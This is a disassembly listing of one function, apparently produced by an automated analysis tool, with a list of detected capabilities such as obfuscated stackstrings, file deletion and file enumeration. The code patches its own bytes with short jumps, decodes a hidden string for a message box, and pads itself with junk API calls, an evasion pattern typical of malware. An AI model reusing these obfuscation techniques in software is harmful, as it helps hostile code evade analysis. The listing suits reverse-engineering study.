Function at 0xa9e000
Capabilities:
Accept command line arguments
Allocate thread local storage
Clear file content
Contain obfuscated stackstrings
Create pipe
Delete file
Enumerate files on windows
Get keyboard layout
Query environment variable
Set environment variable
Set thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 0x10], 0xa9eb47
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa9e036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa9e1f6
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa9e0b8
call fcn.0047c742
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa9e07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa9e094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa9e094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa9e04a
mov byte [ebp - 0x78], 7
mov byte [ebp - 0x77], 0x62
mov byte [ebp - 0x76], 3
mov byte [ebp - 0x75], 0x23
mov byte [ebp - 0x74], 0
mov byte [ebp - 0x73], 0x77
mov byte [ebp - 0x72], 6
mov byte [ebp - 0x71], 0x75
mov byte [ebp - 0x70], 1
mov byte [ebp - 0x6f], 0x7e
mov byte [ebp - 0x6e], 8
mov byte [ebp - 0x6d], 0x7b
mov byte [ebp - 0x6c], 2
mov byte [ebp - 0x6b], 0x7b
mov byte [ebp - 0x6a], 4
mov byte [ebp - 0x69], 0x86
mov byte [ebp - 0x68], 0x1b
mov byte [ebp - 0x67], 0x62
mov byte [ebp - 0x66], 0x1b
mov byte [ebp - 0x65], 0xc5
mov byte [ebp - 0x64], 0x3a
mov byte [ebp - 0x63], 0xaf
mov byte [ebp - 0x62], 0x45
mov byte [ebp - 0x61], 0x55
mov byte [ebp - 0x60], 0x9d
mov byte [ebp - 0x5f], 0x8e
mov byte [ebp - 0x5e], 0xd0
mov byte [ebp - 0x5d], 0x77
mov byte [ebp - 0x5c], 0x2a
mov byte [ebp - 0x5b], 0x4c
mov byte [ebp - 0x5a], 0xa9
mov byte [ebp - 0x59], 0xf5
mov byte [ebp - 0x58], 0xd5
mov byte [ebp - 0x57], 0x1c
mov byte [ebp - 0x56], 4
mov byte [ebp - 0x55], 0xc2
mov byte [ebp - 0x54], 0x13
mov byte [ebp - 0x53], 0xaf
mov byte [ebp - 0x52], 0xa1
mov byte [ebp - 0x51], 0x30
mov byte [ebp - 0x50], 0x40
mov byte [ebp - 0x4f], 4
mov byte [ebp - 0x4e], 0x4d
mov byte [ebp - 0x4d], 5
mov byte [ebp - 0x4c], 0x7a
mov byte [ebp - 0x4b], 9
mov byte [ebp - 0x4a], 0x7c
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa9e186
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2f
jae 0xa9e1eb
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa9e1b2
mov dword [ebp - 0x24], 0x1b
mov eax, dword [ebp - 8]
add eax, 0x19
mov dword [ebp - 8], eax
jmp 0xa9e17e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x77]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa9e1da
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa9e1c7
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x78]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa9e17e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa92e3a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407d13
mov ecx, eax
call fcn.00402fb2
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402f56
and dword [ebp - 0x1c], 0
jmp 0xa9e22e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa9e23e
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa9e227
push 0x1d17
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0
push 0x218d
push 0xeb0
push 0x16c3
push 0x23cc
push 0x1588
push 0x407
push 0x1095
push 0x1826
push 0x22cb
push 0x251e
push 0x83b
push 0x1a9e
push 0x124d
call dword [sym.imp.GDI32.dll_CreateFontA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x15e2
push 0x6a7
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 0
push 0x228c
push 0xc2
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0x18ea
push 0x142e
push 0x1960
push 0x1c1f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x8b8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1771
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x353
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 0x1c86
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x1f65
push 0x2476
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0x1062
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
push 0x2f0
push 0xeac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
push 0
push 0xf5b
push 0x1b10
push 0xce6
call dword [sym.imp.KERNEL32.dll_RaiseException]